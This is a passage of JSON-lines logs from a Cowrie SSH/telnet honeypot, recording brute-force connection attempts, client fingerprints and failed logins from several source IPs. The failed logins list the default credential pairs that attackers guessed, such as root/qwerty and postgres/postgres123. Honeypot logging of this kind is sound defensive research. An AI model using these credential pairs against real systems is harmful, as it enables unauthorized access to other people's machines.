"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:41:51.270234Z","src_ip":"83.168.110.85","session":"ac4c339e7d38","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test","password":"test123","message":"login attempt [test/test123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:41:51.634695Z","src_ip":"83.168.110.85","session":"ac4c339e7d38","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:41:52.954793Z","src_ip":"83.168.110.85","session":"ac4c339e7d38","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"83.168.110.85","src_port":50116,"dst_ip":"10.17.0.5","dst_port":22,"session":"f693028ca1bf","protocol":"ssh","message":"New connection: 83.168.110.85:50116 (10.17.0.5:22) [session: f693028ca1bf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:41:58.033648Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:41:58.039998Z","src_ip":"83.168.110.85","session":"f693028ca1bf","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:41:58.162493Z","src_ip":"83.168.110.85","session":"f693028ca1bf","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"deployer","password":"deployer","message":"login attempt [deployer/deployer] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:41:58.528678Z","src_ip":"83.168.110.85","session":"f693028ca1bf","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:41:59.655950Z","src_ip":"83.168.110.85","session":"f693028ca1bf","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.153.65.139","src_port":58250,"dst_ip":"10.17.0.5","dst_port":22,"session":"d72c095e4928","protocol":"ssh","message":"New connection: 43.153.65.139:58250 (10.17.0.5:22) [session: d72c095e4928]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:42:02.530569Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:42:02.538516Z","src_ip":"43.153.65.139","session":"d72c095e4928","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:42:02.608576Z","src_ip":"43.153.65.139","session":"d72c095e4928","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"213.108.3.46","src_port":55672,"dst_ip":"10.17.0.5","dst_port":23,"session":"837f3bcf773e","protocol":"telnet","message":"New connection: 213.108.3.46:55672 (10.17.0.5:23) [session: 837f3bcf773e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:42:02.775096Z"}
{"eventid":"cowrie.session.closed","duration":0.024067401885986328,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:42:02.799051Z","src_ip":"213.108.3.46","session":"837f3bcf773e","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"admin","password":"1qaz!QAZ","message":"login attempt [admin/1qaz!QAZ] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:42:02.923699Z","src_ip":"43.153.65.139","session":"d72c095e4928","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:42:03.997580Z","src_ip":"43.153.65.139","session":"d72c095e4928","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"83.168.110.85","src_port":51994,"dst_ip":"10.17.0.5","dst_port":22,"session":"b773fd61e0ce","protocol":"ssh","message":"New connection: 83.168.110.85:51994 (10.17.0.5:22) [session: b773fd61e0ce]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:42:04.971916Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:42:04.977063Z","src_ip":"83.168.110.85","session":"b773fd61e0ce","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:42:05.106632Z","src_ip":"83.168.110.85","session":"b773fd61e0ce","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"qwerty","message":"login attempt [root/qwerty] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:42:05.708705Z","src_ip":"83.168.110.85","session":"b773fd61e0ce","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:42:06.834434Z","src_ip":"83.168.110.85","session":"b773fd61e0ce","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"83.168.110.85","src_port":52002,"dst_ip":"10.17.0.5","dst_port":22,"session":"b9171a85bf7f","protocol":"ssh","message":"New connection: 83.168.110.85:52002 (10.17.0.5:22) [session: b9171a85bf7f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:42:12.364471Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:42:12.369535Z","src_ip":"83.168.110.85","session":"b9171a85bf7f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:42:12.495543Z","src_ip":"83.168.110.85","session":"b9171a85bf7f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"postgres","password":"postgres123","message":"login attempt [postgres/postgres123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:42:12.877972Z","src_ip":"83.168.110.85","session":"b9171a85bf7f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:42:14.160402Z","src_ip":"83.168.110.85","session":"b9171a85bf7f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"80.66.85.226","src_port":44708,"dst_ip":"159.203.135.109","dst_port":22,"session":"711fff8c81aa","protocol":"ssh","message":"New connection: 80.66.85.226:44708 (159.203.135.109:22) [session: 711fff8c81aa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:42:18.816098Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:42:18.822579Z","src_ip":"80.66.85.226","session":"711fff8c81aa","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:42:18.914559Z","src_ip":"80.66.85.226","session":"711fff8c81aa","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"12345qaz","message":"login attempt [root/12345qaz] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:42:19.203927Z","src_ip":"80.66.85.226","session":"711fff8c81aa","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"83.168.110.85","src_port":54728,"dst_ip":"10.17.0.5","dst_port":22,"session":"7256a33e85ad","protocol":"ssh","message":"New connection: 83.168.110.85:54728 (10.17.0.5:22) [session: 7256a33e85ad]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:42:19.248898Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:42:19.254696Z","src_ip":"83.168.110.85","session":"7256a33e85ad","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:42:19.376010Z","src_ip":"83.168.110.85","session":"7256a33e85ad","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.153.50.142","src_port":48146,"dst_ip":"10.17.0.5","dst_port":22,"session":"bca2d1ca2cf3","protocol":"ssh","message":"New connection: 43.153.50.142:48146 (10.17.0.5:22) [session: bca2d1ca2cf3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:42:19.892435Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:42:19.898284Z","src_ip":"43.153.50.142","session":"bca2d1ca2cf3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"onkar","password":"onkar123","message":"login attempt [onkar/onkar123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:42:19.927152Z","src_ip":"83.168.110.85","session":"7256a33e85ad","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:42:19.967205Z","src_ip":"43.153.50.142","session":"bca2d1ca2cf3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"download","message":"login attempt [root/download] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:42:20.274783Z","src_ip":"43.153.50.142","session":"bca2d1ca2cf3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:42:20.295034Z","src_ip":"80.66.85.226","session":"711fff8c81aa","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:42:21.055317Z","src_ip":"83.168.110.85","session":"7256a33e85ad","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:42:21.347288Z","src_ip":"43.153.50.142","session":"bca2d1ca2cf3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"83.168.110.85","src_port":46382,"dst_ip":"10.17.0.5","dst_port":22,"session":"7a5f6db22fdf","protocol":"ssh","message":"New connection: 83.168.110.85:46382 (10.17.0.5:22) [session: 7a5f6db22fdf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:42:26.547231Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:42:26.552389Z","src_ip":"83.168.110.85","session":"7a5f6db22fdf","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:42:26.673423Z","src_ip":"83.168.110.85","session":"7a5f6db22fdf","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Passw0rd","message":"login attempt [root/Passw0rd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:42:27.037408Z","src_ip":"83.168.110.85","session":"7a5f6db22fdf","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"78.111.67.246","src_port":43292,"dst_ip":"10.17.0.5","dst_port":22,"session":"84635041a852","protocol":"ssh","message":"New connection: 78.111.67.246:43292 (10.17.0.5:22) [session: 84635041a852]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:42:27.833200Z"}
